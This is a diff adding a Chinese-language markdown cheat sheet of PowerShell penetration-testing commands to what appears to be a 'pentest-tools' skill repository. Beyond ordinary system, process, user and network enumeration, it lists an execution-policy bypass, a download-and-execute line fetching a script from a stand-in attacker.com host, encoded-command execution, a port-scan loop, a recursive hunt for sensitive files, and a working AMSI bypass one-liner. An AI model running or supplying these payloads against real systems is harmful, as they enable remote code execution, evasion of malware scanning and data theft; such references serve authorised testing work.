reverse-skills-max: initial public release (restored, redacted, hardened)

reverse-skill-repo/skills/pentest-tools/src-hunter/references/payloader/tools/windows渗透.md

@@ -0,0 +1,100 @@
+# Windows渗透
+
+_1 条工具命令_
+
+### PowerShell渗透命令  `powershell-pentest`
+_PowerShell渗透测试常用命令_
+
+**Step 0**
+> 绕过执行策略运行脚本
+_platform: windows_
+```
+powershell -ExecutionPolicy Bypass -File script.ps1
+```
+**语法解析：**
+- `-ExecutionPolicy Bypass` — 绕过执行策略 _parameter_
+
+**Step 0**
+> 从远程下载并执行脚本
+_platform: windows_
+```
+IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")
+```
+**语法解析：**
+- `IEX` — Invoke-Expression，执行字符串 _command_
+- `Net.WebClient` — Web客户端类 _value_
+- `DownloadString` — 下载字符串内容 _value_
+
+**Step 0**
+> 使用Base64编码执行命令
+_platform: windows_
+```
+powershell -EncodedCommand BASE64_ENCODED_COMMAND
+```
+**语法解析：**
+- `-EncodedCommand` — Base64编码的命令 _parameter_
+
+**Step 0**
+> 获取系统信息
+_platform: windows_
+```
+Get-ComputerInfo
+systeminfo
+Get-WmiObject -Class Win32_OperatingSystem
+```
+
+**Step 0**
+> 获取运行进程
+_platform: windows_
+```
+Get-Process | Select-Object Name,Id,Path
+Get-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine
+```
+
+**Step 0**
+> 获取服务信息
+_platform: windows_
+```
+Get-Service | Where-Object {$_.Status -eq "Running"}
+Get-WmiObject Win32_Service | Select-Object Name,State,StartName
+```
+
+**Step 0**
+> 获取网络连接
+_platform: windows_
+```
+Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,OwningProcess
+netstat -ano
+```
+
+**Step 0**
+> 获取用户信息
+_platform: windows_
+```
+Get-LocalUser
+net user
+net localgroup administrators
+```
+
+**Step 0**
+> 简单端口扫描
+_platform: windows_
+```
+1..1024 | % {Test-NetConnection -Port $_ -ComputerName target_ip}
+```
+
+**Step 0**
+> 搜索敏感文件
+_platform: windows_
+```
+Get-ChildItem -Path C:\ -Include *.txt,*.doc,*.xls -Recurse -ErrorAction SilentlyContinue
+```
+
+**Step 0**
+> 绕过AMSI检测
+_platform: windows_
+```
+[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
+```
+
+---